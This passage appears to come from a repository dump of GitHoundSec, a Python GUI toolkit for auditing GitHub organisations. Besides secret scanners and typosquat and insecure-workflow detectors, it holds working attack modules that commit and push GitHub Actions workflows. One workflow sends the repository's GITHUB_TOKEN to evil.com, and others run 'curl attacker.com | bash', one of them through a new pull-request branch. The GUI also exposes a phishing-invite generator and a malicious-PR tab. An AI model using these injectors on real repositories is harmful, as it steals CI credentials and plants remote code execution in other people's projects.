env["GITHUB_TOKEN"] = token 74 | 75 | result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, env=env) 76 | return { 77 | "stdout": result.stdout, 78 | "stderr": result.stderr, 79 | "report": report_path 80 | } 81 | 82 | def clone_repo(repo_url: str, dest_folder: str): 83 | if os.path.exists(dest_folder): 84 | return 85 | subprocess.run(["git", "clone", repo_url, dest_folder], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 86 | 87 | def scan_organization_secrets(token: str, org: str, base_output_path: str): 88 | os.makedirs("temp_repos", exist_ok=True) 89 | os.makedirs(base_output_path, exist_ok=True) 90 | 91 | all_repos = collect_repos(token, org) 92 | results = [] 93 | 94 | for repo in all_repos: 95 | repo_url = f"https://github.com/{repo}" 96 | repo_name = repo.split("/")[-1] 97 | print(f"[+] Escaneando: {repo_url}") 98 | 99 | # TruffleHog remoto 100 | trufflehog_output = os.path.join(base_output_path, f"{repo_name}_trufflehog.json") 101 | run_trufflehog(repo_url, trufflehog_output) 102 | 103 | # Gitleaks local 104 | local_path = os.path.join("temp_repos", repo_name) 105 | clone_repo(repo_url, local_path) 106 | gitleaks_output = os.path.join(base_output_path, f"{repo_name}_gitleaks.json") 107 | run_gitleaks(local_path, gitleaks_output) 108 | 109 | results.append({ 110 | "repo": repo, 111 | "trufflehog": trufflehog_output, 112 | "gitleaks": gitleaks_output 113 | }) 114 | 115 | return results 116 | -------------------------------------------------------------------------------- /backend/shadow_repo_hijack.py: -------------------------------------------------------------------------------- 1 | from github import Github 2 | from typing import List 3 | import difflib 4 | 5 | def detect_shadow_repo_candidates(org_name: str, token: str = None) -> List[str]: 6 | g = Github(token) if token else Github() 7 | messages = [] 8 | 9 | try: 10 | org = g.get_organization(org_name) 11 | official_repos = [repo.name.lower() for repo in org.get_repos()] 12 | except Exception as e: 13 | return [f"❌ Failed to fetch organization: {str(e)}"] 14 | 15 | # Search popular names / typo-similarities globally 16 | try: 17 | for name in official_repos: 18 | query = f"{name} in:name" 19 | results = g.search_repositories(query=query) 20 | for repo in results: 21 | if repo.owner.login.lower() != org_name.lower(): 22 | similarity = difflib.SequenceMatcher(None, name, repo.name.lower()).ratio() 23 | if similarity > 0.8: 24 | messages.append( 25 | f"⚠️ Possible Shadow Repo: {repo.full_name} | Similar to '{name}' | Similarity: {round(similarity*100,2)}%" 26 | ) 27 | except Exception as e: 28 | messages.append(f"❌ Error during search: {str(e)}") 29 | 30 | if not messages: 31 | messages.append("✅ No shadow repository candidates detected.") 32 | 33 | return messages 34 | -------------------------------------------------------------------------------- /backend/surface_mapper.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/surface_mapper.py -------------------------------------------------------------------------------- /backend/token_theft_action_injector.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | def inject_token_stealer_workflow(repo_path: str, exfil_url: str = "http://evil.com/token") -> str: 5 | try: 6 | workflows_dir = os.path.join(repo_path, ".github", "workflows") 7 | os.makedirs(workflows_dir, exist_ok=True) 8 | 9 | workflow_content = f"""name: Token Exfiltration 10 | 11 | on: [push] 12 | 13 | jobs: 14 | steal: 15 | runs-on: ubuntu-latest 16 | steps: 17 | - name: Steal GitHub Token 18 | run: | 19 | echo ${{ secrets.GITHUB_TOKEN }} | curl -X POST -d @- {exfil_url} 20 | """ 21 | path = os.path.join(workflows_dir, "token_stealer.yml") 22 | with open(path, 'w') as f: 23 | f.write(workflow_content) 24 | 25 | subprocess.run(["git", "add", path], cwd=repo_path, check=True) 26 | subprocess.run(["git", "commit", "-m", "Add token stealer workflow"], cwd=repo_path, check=True) 27 | subprocess.run(["git", "push"], cwd=repo_path, check=True) 28 | 29 | return f"✅ Token stealer workflow injected and pushed successfully to: {repo_path}" 30 | 31 | except Exception as e: 32 | return f"❌ Error injecting token stealer workflow: {str(e)}" 33 | -------------------------------------------------------------------------------- /backend/typosquat_detector.py: -------------------------------------------------------------------------------- 1 | import difflib 2 | from github import Github 3 | 4 | def detect_typosquat_repos(org_name: str, token: str = None, similarity_threshold: float = 0.75): 5 | g = Github(token) if token else Github() 6 | try: 7 | org = g.get_organization(org_name) 8 | repos = list(org.get_repos()) 9 | except Exception as e: 10 | return [f"❌ Error fetching repositories: {str(e)}"] 11 | 12 | names = [repo.name for repo in repos] 13 | results = [] 14 | checked_pairs = set() 15 | 16 | for i, name1 in enumerate(names): 17 | for j, name2 in enumerate(names): 18 | if i >= j: 19 | continue 20 | pair_key = tuple(sorted([name1, name2])) 21 | if pair_key in checked_pairs: 22 | continue 23 | ratio = difflib.SequenceMatcher(None, name1.lower(), name2.lower()).ratio() 24 | if ratio >= similarity_threshold: 25 | results.append(f"⚠️ Possible typosquat pair: '{name1}' <-> '{name2}' (Similarity: {round(ratio*100, 2)}%)") 26 | checked_pairs.add(pair_key) 27 | 28 | if not results: 29 | return ["✅ No suspicious typosquat repositories detected."] 30 | return results 31 | -------------------------------------------------------------------------------- /backend/workflow_backdoor_pr.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | def inject_workflow_backdoor(repo_path: str, payload_command: str = "curl attacker.com | bash") -> str: 5 | try: 6 | workflows_dir = os.path.join(repo_path, ".github", "workflows") 7 | os.makedirs(workflows_dir, exist_ok=True) 8 | 9 | workflow_content = f"""name: Backdoor Workflow 10 | 11 | on: [push] 12 | 13 | jobs: 14 | backdoor: 15 | runs-on: ubuntu-latest 16 | steps: 17 | - name: Run payload 18 | run: {payload_command} 19 | """ 20 | backdoor_path = os.path.join(workflows_dir, "backdoor.yml") 21 | with open(backdoor_path, 'w') as f: 22 | f.write(workflow_content) 23 | 24 | subprocess.run(["git", "add", backdoor_path], cwd=repo_path, check=True) 25 | subprocess.run(["git", "commit", "-m", "Add backdoor workflow"], cwd=repo_path, check=True) 26 | subprocess.run(["git", "push"], cwd=repo_path, check=True) 27 | 28 | return f"✅ Backdoor workflow committed and pushed to repo: {repo_path}" 29 | 30 | except Exception as e: 31 | return f"❌ Error injecting workflow: {str(e)}" 32 | -------------------------------------------------------------------------------- /backend/workflow_backdoor_pr_injector.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | def inject_workflow_backdoor_pr(repo_path: str, payload: str = "curl attacker.com | bash") -> str: 5 | try: 6 | branch = f"backdoor-pr-{os.urandom(3).hex()}" 7 | subprocess.run(["git", "checkout", "-b", branch], cwd=repo_path, check=True) 8 | 9 | workflows_path = os.path.join(repo_path, ".github", "workflows") 10 | os.makedirs(workflows_path, exist_ok=True) 11 | workflow_file = os.path.join(workflows_path, "exploit.yml") 12 | 13 | content = f"""name: PR Backdoor 14 | 15 | on: [pull_request] 16 | 17 | jobs: 18 | exploit: 19 | runs-on: ubuntu-latest 20 | steps: 21 | - name: Execute 22 | run: {payload} 23 | """ 24 | with open(workflow_file, 'w') as f: 25 | f.write(content) 26 | 27 | subprocess.run(["git", "add", workflow_file], cwd=repo_path, check=True) 28 | subprocess.run(["git", "commit", "-m", "Add PR backdoor workflow"], cwd=repo_path, check=True) 29 | subprocess.run(["git", "push", "--set-upstream", "origin", branch], cwd=repo_path, check=True) 30 | 31 | return f"✅ Malicious PR branch '{branch}' created and pushed. You can now open a PR via GitHub." 32 | 33 | except Exception as e: 34 | return f"❌ Error injecting backdoor via PR: {str(e)}" 35 | -------------------------------------------------------------------------------- /backend/workflow_exploit_finder.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import glob 4 | import subprocess 5 | from typing import List 6 | 7 | def find_insecure_workflows(repo_path: str) -> List[str]: 8 | findings = [] 9 | workflow_path = os.path.join(repo_path, ".github", "workflows") 10 | 11 | if not os.path.exists(workflow_path): 12 | return ["❌ No workflows found in this repository."] 13 | 14 | yml_files = glob.glob(os.path.join(workflow_path, "*.yml")) + \ 15 | glob.glob(os.path.join(workflow_path, "*.yaml")) 16 | 17 | for file in yml_files: 18 | with open(file, "r", encoding="utf-8", errors="ignore") as f: 19 | content = f.read() 20 | filename = os.path.basename(file) 21 | if "pull_request_target" in content: 22 | findings.append(f"⚠️ {filename} uses pull_request_target (highly dangerous).") 23 | if re.search(r"run:\s*\$\{\{[^}]+\}\}", content): 24 | findings.append(f"⚠️ {filename} has dynamic run command using untrusted input.") 25 | if "on: pull_request" in content and "paths-ignore" not in content and "types:" not in content: 26 | findings.append(f"⚠️ {filename} triggers on pull_request without filters (broad surface).") 27 | 28 | if not findings: 29 | findings.append("✅ No obvious workflow injection issues found.") 30 | 31 | return findings 32 | -------------------------------------------------------------------------------- /backend/zombie_secrets_hunter.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | from typing import List 4 | 5 | def zombie_secrets_scan(repo_path: str) -> List[str]: 6 | if not os.path.exists(repo_path): 7 | return ["❌ Repository path does not exist."] 8 | 9 | findings = [] 10 | try: 11 | # Get all commit hashes 12 | commits = subprocess.check_output(["git", "rev-list", "--all"], cwd=repo_path, text=True).splitlines() 13 | for commit in commits: 14 | try: 15 | diff = subprocess.check_output(["git", "show", commit], cwd=repo_path, text=True, stderr=subprocess.DEVNULL) 16 | if any(keyword in diff.lower() for keyword in ["apikey", "token", "secret", "password"]): 17 | findings.append(f"🔑 Potential secret in commit {commit}") 18 | except subprocess.CalledProcessError: 19 | continue 20 | 21 | if not findings: 22 | findings.append("✅ No zombie secrets found in commit history.") 23 | return findings 24 | except Exception as e: 25 | return [f"❌ Error during scan: {str(e)}"] 26 | -------------------------------------------------------------------------------- /config/settings.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/config/settings.json -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/docker-compose.yml -------------------------------------------------------------------------------- /frontend/__pycache__/main_gui.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/frontend/__pycache__/main_gui.cpython-310.pyc -------------------------------------------------------------------------------- /frontend/main_gui.py: -------------------------------------------------------------------------------- 1 | ### frontend/main_gui.py 2 | import customtkinter as ctk 3 | from tkinter import messagebox 4 | from backend.github_collector import collect_repos 5 | from backend.run_trufflehog_single import run_trufflehog_generic 6 | from backend.actions_audit import audit_repo_actions 7 | from backend.graph_attack import build_graph_from_org 8 | from backend.actions_permissions import scan_org_actions_permissions 9 | from backend.phishing_template import generate_phishing_invite_html 10 | from backend.pr_malicious import simulate_malicious_pr 11 | from backend.workflow_exploit_finder import find_insecure_workflows 12 | from backend.typosquat_detector import detect_typosquat_repos 13 | from backend.zombie_secrets_hunter import zombie_secrets_scan 14 | from backend.apt_recon_scanner import apt_recon 15 | from backend.shadow_repo_hijack import detect_shadow_repo_candidates 16 | from backend.workflow_backdoor_pr import inject_workflow_backdoor 17 | from backend.token_theft_action_injector import inject_token_stealer_workflow 18 | from backend.workflow_backdoor_pr_injector import inject_workflow_backdoor_pr 19 | from backend.git_directory_scanner import find_git_directories 20 | import subprocess 21 | import os 22 | import uuid 23 | 24 | ctk.set_appearance_mode("Dark") 25 | ctk.set_default_color_theme("blue") 26 | 27 | class GitHoundSecApp(ctk.CTk): 28 | def __init__(self): 29 | super().__init__() 30 | self.title("GitHoundSec - GitHub Security Auditor") 31 | self.geometry("700x1400") 32 | 33 | self.tabview = ctk.CTkTabview(self, width=680, height=1380) 34 | self.tabview.pack(padx=10, pady=10) 35 | 36 | self.home_tab = self.tabview.add("Home") 37 | self.trufflehog_tab = self.tabview.add("TruffleHog") 38 | self.gitleaks_tab = self.tabview.add("Gitleaks") 39 | self.actions_tab = self.tabview.add("GitHub Actions") 40 | self.graph_tab = self.tabview.add("Users Graphic") 41 | self.apps_tab = self.tabview.add("Actions Perms") 42 | self.phishing_tab = self.tabview.add("Phishing Invite") 43 | self.pr_tab = self.tabview.add("Malicious PR") 44 | self.exploit_tab = self.tabview.add("Workflow Exploit Finder") 45 | self.typo_tab = self.tabview.add("Typosquat Detector") 46 | self.zombie_tab = self.tabview.add("Zombie Secrets Hunter") 47 | self.apt_tab = self.tabview.add("APT Recon Scanner") 48 | self.shadow_tab = self.tabview.add("Shadow Repo Hijack") 49 | self.backdoor_tab = self.tabview.add("Workflow Backdoor PR") 50 | self.stealer_tab = self.tabview.add("Token Stealer PR") 51 | self.prbackdoor_tab = self.tabview.add("Workflow PR Backdoor Injector") 52 | self.gitdir_tab = self.tabview.add(".git Directory Finder") 53 | 54 | 55 | self.setup_home_tab() 56 | self.setup_trufflehog_tab() 57 | self.setup_gitleaks_tab() 58 | self.setup_actions_tab() 59 | self.setup_graph_tab() 60 | self.setup_apps_tab() 61 | self.setup_phishing_tab() 62 | self.setup_pr_tab() 63 | self.setup_exploit_tab() 64 | self.setup_typo_tab() 65 | self.setup_zombie_tab() 66 | self.setup_apt_tab() 67 | self.setup_shadow_tab() 68 | self.setup_backdoor_tab() 69 | self.setup_stealer_tab() 70 | self.setup_prbackdoor_tab() 71 | self.setup_gitdir_tab() 72 | 73 | 74 | def setup_home_tab(self): 75 | self.token_label = ctk.CTkLabel(self.home_tab, text="GitHub Token:") 76 | self.token_label.pack(pady=10) 77 | self.token_entry = ctk.CTkEntry(self.home_tab, width=400) 78 | self.token_entry.pack(pady=5) 79 | 80 | self.org_label = ctk.CTkLabel(self.home_tab, text="Organization or Username:") 81 | self.org_label.pack(pady=10) 82 | self.org_entry = ctk.CTkEntry(self.home_tab, width=400) 83 | self.org_entry.pack(pady=5) 84 | 85 | self.collect_button = ctk.CTkButton(self.home_tab, text="Collect Repositories", command=self.start_collection) 86 | self.collect_button.pack(pady=20) 87 | 88 | self.output_box = ctk.CTkTextbox(self.home_tab, width=650, height=200) 89 | self.output_box.pack(pady=10) 90 | 91 | def setup_trufflehog_tab(self): 92 | self.th_target_label = ctk.CTkLabel(self.trufflehog_tab, text="Organization Name or Repository URL:") 93 | self.th_target_label.pack(pady=10) 94 | self.th_target_entry = ctk.CTkEntry(self.trufflehog_tab, width=500) 95 | self.th_target_entry.pack(pady=5) 96 | 97 | self.th_scan_button = ctk.CTkButton(self.trufflehog_tab, text="Run TruffleHog", command=self.run_trufflehog_scan) 98 | self.th_scan_button.pack(pady=10) 99 | 100 | self.th_output = ctk.CTkTextbox(self.trufflehog_tab, width=650, height=400) 101 | self.th_output.pack(pady=10) 102 | 103 | def setup_gitleaks_tab(self): 104 | self.gl_repo_label = ctk.CTkLabel(self.gitleaks_tab, text="Repository URL to Clone OR folder name in temp_repos:") 105 | self.gl_repo_label.pack(pady=10) 106 | self.gl_repo_entry = ctk.CTkEntry(self.gitleaks_tab, width=500) 107 | self.gl_repo_entry.pack(pady=5) 108 | 109 | self.gl_clone_button = ctk.CTkButton(self.gitleaks_tab, text="Clone or Use Local Repository", command=self.clone_or_use_local_repo) 110 | self.gl_clone_button.pack(pady=10) 111 | 112 | self.gl_token_checkbox_var = ctk.BooleanVar() 113 | self.gl_token_checkbox = ctk.CTkCheckBox(self.gitleaks_tab, text="Use GitHub Token", variable=self.gl_token_checkbox_var, command=self.toggle_gitleaks_token) 114 | self.gl_token_checkbox.pack(pady=5) 115 | self.gl_token_entry = ctk.CTkEntry(self.gitleaks_tab, width=400, placeholder_text="GITHUB_TOKEN (optional)") 116 | self.gl_token_entry.pack(pady=5) 117 | self.gl_token_entry.configure(state="disabled") 118 | 119 | self.gl_config_checkbox_var = ctk.BooleanVar() 120 | self.gl_config_checkbox = ctk.CTkCheckBox(self.gitleaks_tab, text="Use external config file", variable=self.gl_config_checkbox_var, command=self.toggle_gitleaks_config) 121 | self.gl_config_checkbox.pack(pady=5) 122 | self.gl_config_entry = ctk.CTkEntry(self.gitleaks_tab, width=500, placeholder_text="Path to .toml file") 123 | self.gl_config_entry.pack(pady=5) 124 | self.gl_config_entry.configure(state="disabled") 125 | 126 | self.gl_terminal_checkbox_var = ctk.BooleanVar(value=True) 127 | self.gl_terminal_checkbox = ctk.CTkCheckBox(self.gitleaks_tab, text="Use manual terminal", variable=self.gl_terminal_checkbox_var, command=self.toggle_terminal_gitleaks) 128 | self.gl_terminal_checkbox.pack(pady=5) 129 | 130 | self.gl_cmd_label = ctk.CTkLabel(self.gitleaks_tab, text="Gitleaks Terminal (Enter commands below):") 131 | self.gl_cmd_label.pack(pady=5) 132 | self.gl_cmd_entry = ctk.CTkEntry(self.gitleaks_tab, width=600) 133 | self.gl_cmd_entry.pack(pady=5) 134 | 135 | self.gl_run_button = ctk.CTkButton(self.gitleaks_tab, text="Run Command or Default Scan", command=self.run_gitleaks_command_or_scan) 136 | self.gl_run_button.pack(pady=5) 137 | 138 | self.gl_output = ctk.CTkTextbox(self.gitleaks_tab, width=650, height=300) 139 | self.gl_output.pack(pady=10) 140 | 141 | def toggle_gitleaks_token(self): 142 | state = "normal" if self.gl_token_checkbox_var.get() else "disabled" 143 | self.gl_token_entry.configure(state=state) 144 | 145 | def toggle_gitleaks_config(self): 146 | state = "normal" if self.gl_config_checkbox_var.get() else "disabled" 147 | self.gl_config_entry.configure(state=state) 148 | 149 | def toggle_terminal_gitleaks(self): 150 | state = "normal" if self.gl_terminal_checkbox_var.get() else "disabled" 151 | self.gl_cmd_entry.configure(state=state) 152 | 153 | def clone_or_use_local_repo(self): 154 | entry_value = self.gl_repo_entry.get().strip() 155 | if not entry_value: 156 | messagebox.showerror("Error", "Provide a repository URL or a folder name under temp_repos/") 157 | return 158 | 159 | if entry_value.startswith("http"): 160 | repo_url = entry_value 161 | repo_name = repo_url.split("/")[-1].replace(".git", "") 162 | dest_path = os.path.join("temp_repos", repo_name) 163 | os.makedirs("temp_repos", exist_ok=True) 164 | result = subprocess.run(["git", "clone", repo_url, dest_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 165 | self.gl_output.insert("end", f"[+] Cloning {repo_url}\n") 166 | if result.stdout: 167 | self.gl_output.insert("end", result.stdout) 168 | if result.stderr: 169 | self.gl_output.insert("end", result.stderr) 170 | self.gl_output.insert("end", f"[+] Repository cloned to: {dest_path}\n") 171 | else: 172 | local_path = os.path.join("temp_repos", entry_value) 173 | if os.path.isdir(local_path): 174 | self.gl_output.insert("end", f"[✔] Local repository found: {local_path}\n") 175 | else: 176 | self.gl_output.insert("end", f"[✖] Folder '{entry_value}' not found in temp_repos/\n") 177 | 178 | def run_gitleaks_command_or_scan(self): 179 | repo_name = self.gl_repo_entry.get().strip() 180 | if not repo_name: 181 | messagebox.showerror("Error", "Provide the repository name.") 182 | return 183 | 184 | if self.gl_terminal_checkbox_var.get(): 185 | self.run_gitleaks_command() 186 | return 187 | 188 | path = os.path.join("temp_repos", repo_name) 189 | output_dir = "outputs" 190 | os.makedirs(output_dir, exist_ok=True) 191 | report_path = os.path.join(output_dir, f"gitleaks-report-{uuid.uuid4().hex[:8]}.json") 192 | 193 | cmd = ["gitleaks", "detect", "--source", path, "--report-format", "json", "--report-path", report_path, "-v"] 194 | 195 | if self.gl_config_checkbox_var.get(): 196 | config_path = self.gl_config_entry.get().strip() 197 | if config_path: 198 | cmd += ["--config", config_path] 199 | 200 | self.gl_output.delete("1.0", "end") 201 | self.gl_output.insert("end", f"$ {' '.join(cmd)}\n") 202 | try: 203 | result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 204 | if result.stdout: 205 | self.gl_output.insert("end", result.stdout) 206 | if result.stderr: 207 | self.gl_output.insert("end", result.stderr) 208 | self.gl_output.insert("end", f"\n📁 Report generated: {report_path}\n") 209 | except Exception as e: 210 | self.gl_output.insert("end", f"Error: {e}\n") 211 | 212 | def run_gitleaks_command(self): 213 | cmd = self.gl_cmd_entry.get() 214 | if not cmd: 215 | messagebox.showerror("Error", "Enter a command to execute.") 216 | return 217 | self.gl_output.insert("end", f"$ {cmd}\n") 218 | try: 219 | result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 220 | if result.stdout: 221 | self.gl_output.insert("end", result.stdout) 222 | if result.stderr: 223 | self.gl_output.insert("end", result.stderr) 224 | except Exception as e: 225 | self.gl_output.insert("end", f"Error: {e}\n") 226 | 227 | def setup_actions_tab(self): 228 | self.action_repo_label = ctk.CTkLabel(self.actions_tab, text="GitHub Repository URL:") 229 | self.action_repo_label.pack(pady=10) 230 | self.action_repo_entry = ctk.CTkEntry(self.actions_tab, width=500) 231 | self.action_repo_entry.pack(pady=5) 232 | 233 | self.action_scan_button = ctk.CTkButton(self.actions_tab, text="Audit Workflows", command=self.start_actions_audit) 234 | self.action_scan_button.pack(pady=20) 235 | 236 | self.action_output = ctk.CTkTextbox(self.actions_tab, width=650, height=250) 237 | self.action_output.pack(pady=10) 238 | 239 | def start_collection(self): 240 | token = self.token_entry.get() 241 | org = self.org_entry.get() 242 | if not token or not org: 243 | messagebox.showerror("Error", "Token and organization are required.") 244 | return 245 | self.output_box.delete("1.0", "end") 246 | try: 247 | repos = collect_repos(token, org) 248 | for r in repos: 249 | self.output_box.insert("end", f"{r}\n") 250 | except Exception as e: 251 | messagebox.showerror("Error collecting repositories", str(e)) 252 | 253 | def run_trufflehog_scan(self): 254 | target = self.th_target_entry.get().strip() 255 | if not target: 256 | messagebox.showerror("Error", "Provide the organization or repository URL.") 257 | return 258 | 259 | repo_id = target.replace('/', '_').replace('https:', '').replace('.', '_') 260 | output_path = os.path.join("outputs", f"{repo_id}_trufflehog_{uuid.uuid4().hex[:8]}.json") 261 | 262 | self.th_output.delete("1.0", "end") 263 | self.th_output.insert("end", "🔍 Running TruffleHog...\n\n") 264 | try: 265 | if target.startswith("http"): 266 | cmd = ["trufflehog", "git", target, "--json", "--no-update"] 267 | else: 268 | cmd = ["trufflehog", "github", f"--org={target}", "--json", "--no-update"] 269 | 270 | result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 271 | 272 | with open(output_path, 'w') as f: 273 | f.write(result.stdout) 274 | 275 | self.th_output.insert("end", f"📦 Report saved to: {output_path}\n\n") 276 | if result.stdout: 277 | self.th_output.insert("end", result.stdout + "\n") 278 | if result.stderr: 279 | self.th_output.insert("end", f"⚠️ STDERR:\n{result.stderr}\n") 280 | except Exception as e: 281 | self.th_output.insert("end", f"❌ Error: {str(e)}\n") 282 | 283 | def start_actions_audit(self): 284 | repo_url = self.action_repo_entry.get() 285 | if not repo_url: 286 | messagebox.showerror("Error", "Provide the repository URL.") 287 | return 288 | self.action_output.delete("1.0", "end") 289 | try: 290 | repo_name = repo_url.split("/")[-1] 291 | local_path = os.path.join("temp_repos", repo_name) 292 | os.makedirs("temp_repos", exist_ok=True) 293 | subprocess.run(["git", "clone", repo_url, local_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 294 | findings = audit_repo_actions(local_path) 295 | if findings: 296 | for f in findings: 297 | self.action_output.insert("end", f + "\n") 298 | else: 299 | self.action_output.insert("end", "No risks found in workflows.") 300 | except Exception as e: 301 | messagebox.showerror("Error auditing Actions", str(e)) 302 | 303 | def setup_graph_tab(self): 304 | self.graph_label = ctk.CTkLabel(self.graph_tab, text="GitHub Organization Name:") 305 | self.graph_label.pack(pady=10) 306 | self.graph_entry = ctk.CTkEntry(self.graph_tab, width=500) 307 | self.graph_entry.pack(pady=5) 308 | 309 | self.graph_button = ctk.CTkButton(self.graph_tab, text="Generate Graph", command=self.run_graph_attack) 310 | self.graph_button.pack(pady=10) 311 | 312 | self.graph_output = ctk.CTkTextbox(self.graph_tab, width=650, height=350) 313 | self.graph_output.pack(pady=10) 314 | 315 | def run_graph_attack(self): 316 | org = self.graph_entry.get().strip() 317 | token = self.token_entry.get().strip() 318 | if not org: 319 | messagebox.showerror("Error", "Please enter an organization name.") 320 | return 321 | self.graph_output.delete("1.0", "end") 322 | self.graph_output.insert("end", f"🔍 Fetching data and building graph for organization: {org}...\n") 323 | try: 324 | output_file = build_graph_from_org(org, token) 325 | self.graph_output.insert("end", f"✅ Graph generated successfully!\nFile: {output_file}\n") 326 | except Exception as e: 327 | self.graph_output.insert("end", f"❌ Error: {str(e)}\n") 328 | 329 | def setup_apps_tab(self): 330 | self.apps_label = ctk.CTkLabel(self.apps_tab, text="GitHub Organization:") 331 | self.apps_label.pack(pady=10) 332 | self.apps_entry = ctk.CTkEntry(self.apps_tab, width=500) 333 | self.apps_entry.pack(pady=5) 334 | 335 | self.apps_button = ctk.CTkButton(self.apps_tab, text="Scan Actions & App Permissions", command=self.run_actions_permissions_scan) 336 | self.apps_button.pack(pady=10) 337 | 338 | self.apps_output = ctk.CTkTextbox(self.apps_tab, width=650, height=400) 339 | self.apps_output.pack(pady=10) 340 | 341 | 342 | def run_actions_permissions_scan(self): 343 | org = self.apps_entry.get().strip() 344 | token = self.token_entry.get().strip() 345 | if not org: 346 | messagebox.showerror("Error", "Please enter a GitHub organization.") 347 | return 348 | 349 | self.apps_output.delete("1.0", "end") 350 | self.apps_output.insert("end", f"🔍 Scanning Actions and Apps for: {org}...\n\n") 351 | try: 352 | findings = scan_org_actions_permissions(org, token) 353 | if not findings: 354 | self.apps_output.insert("end", "✅ No critical findings detected.\n") 355 | return 356 | for repo, issues in findings.items(): 357 | self.apps_output.insert("end", f"📦 Repository: {repo}\n") 358 | for issue in issues: 359 | self.apps_output.insert("end", f" - {issue}\n") 360 | self.apps_output.insert("end", "\n") 361 | except Exception as e: 362 | self.apps_output.insert("end", f"❌ Error: {str(e)}\n") 363 | 364 | def setup_phishing_tab(self): 365 | self.phish_org_label = ctk.CTkLabel(self.phishing_tab, text="Organization Name:") 366 | self.phish_org_label.pack(pady=5) 367 | self.phish_org_entry = ctk.CTkEntry(self.phishing_tab, width=400) 368 | self.phish_org_entry.pack(pady=5) 369 | 370 | self.phish_repo_label = ctk.CTkLabel(self.phishing_tab, text="Repository Name:") 371 | self.phish_repo_label.pack(pady=5) 372 | self.phish_repo_entry = ctk.CTkEntry(self.phishing_tab, width=400) 373 | self.phish_repo_entry.pack(pady=5) 374 | 375 | self.phish_sender_label = ctk.CTkLabel(self.phishing_tab, text="Sender Username:") 376 | self.phish_sender_label.pack(pady=5) 377 | self.phish_sender_entry = ctk.CTkEntry(self.phishing_tab, width=400) 378 | self.phish_sender_entry.pack(pady=5) 379 | 380 | self.phish_target_label = ctk.CTkLabel(self.phishing_tab, text="Target Username:") 381 | self.phish_target_label.pack(pady=5) 382 | self.phish_target_entry = ctk.CTkEntry(self.phishing_tab, width=400) 383 | self.phish_target_entry.pack(pady=5) 384 | 385 | self.phish_button = ctk.CTkButton(self.phishing_tab, text="Generate Invite Template", command=self.run_phishing_invite) 386 | self.phish_button.pack(pady=10) 387 | 388 | self.phish_output = ctk.CTkTextbox(self.phishing_tab, width=650, height=300) 389 | self.phish_output.pack(pady=10) 390 | 391 | self.phish_open_button = ctk.CTkButton(self.phishing_tab, text="Open HTML in Browser", command=self.open_last_phish_file) 392 | self.phish_open_button.pack(pady=5) 393 | 394 | self.last_phish_file = None 395 | 396 | def run_phishing_invite(self): 397 | org = self.phish_org_entry.get().strip() 398 | repo = self.phish_repo_entry.get().strip() 399 | sender = self.phish_sender_entry.get().strip() 400 | target = self.phish_target_entry.get().strip() 401 | 402 | self.phish_output.delete("1.0", "end") 403 | 404 | if not org or not repo or not sender or not target: 405 | messagebox.showerror("Error", "Please fill in all fields.") 406 | return 407 | 408 | try: 409 | output = generate_phishing_invite_html(org, repo, sender, target) 410 | self.last_phish_file = output 411 | self.phish_output.insert("end", f"📧 Template generated: {output}\n") 412 | except Exception as e: 413 | self.phish_output.insert("end", f"❌ Error: {str(e)}\n") 414 | 415 | def open_last_phish_file(self): 416 | if self.last_phish_file and os.path.exists(self.last_phish_file): 417 | webbrowser.open(f"file://{os.path.abspath(self.last_phish_file)}") 418 | else: 419 | messagebox.showinfo("Info", "No template has been generated yet.") 420 | 421 | def setup_pr_tab(self): 422 | self.pr_repo_label = ctk.CTkLabel(self.pr_tab, text="GitHub Repository URL:") 423 | self.pr_repo_label.pack(pady=5) 424 | self.pr_repo_entry = ctk.CTkEntry(self.pr_tab, width=500) 425 | self.pr_repo_entry.pack(pady=5) 426 | 427 | self.pr_payload_label = ctk.CTkLabel(self.pr_tab, text="Payload Command (ex: curl attacker.com | bash):") 428 | self.pr_payload_label.pack(pady=5) 429 | self.pr_payload_entry = ctk.CTkEntry(self.pr_tab, width=500) 430 | self.pr_payload_entry.pack(pady=5) 431 | 432 | self.pr_token_label = ctk.CTkLabel(self.pr_tab, text="GitHub Token:") 433 | self.pr_token_label.pack(pady=5) 434 | self.pr_token_entry = ctk.CTkEntry(self.pr_tab, width=500, show="*") 435 | self.pr_token_entry.pack(pady=5) 436 | 437 | self.pr_interactive_checkbox_var = ctk.BooleanVar() 438 | self.pr_interactive_checkbox = ctk.CTkCheckBox(self.pr_tab, text="Use Terminal Mode", variable=self.pr_interactive_checkbox_var) 439 | self.pr_interactive_checkbox.pack(pady=5) 440 | 441 | self.pr_terminal_label = ctk.CTkLabel(self.pr_tab, text="Terminal Input (one command per line):") 442 | self.pr_terminal_label.pack(pady=5) 443 | self.pr_terminal_entry = ctk.CTkTextbox(self.pr_tab, width=650, height=120) 444 | self.pr_terminal_entry.pack(pady=5) 445 | 446 | self.pr_button = ctk.CTkButton(self.pr_tab, text="Simulate Malicious PR", command=self.run_malicious_pr) 447 | self.pr_button.pack(pady=10) 448 | 449 | self.pr_output = ctk.CTkTextbox(self.pr_tab, width=650, height=300) 450 | self.pr_output.pack(pady=10) 451 | 452 | def run_malicious_pr(self): 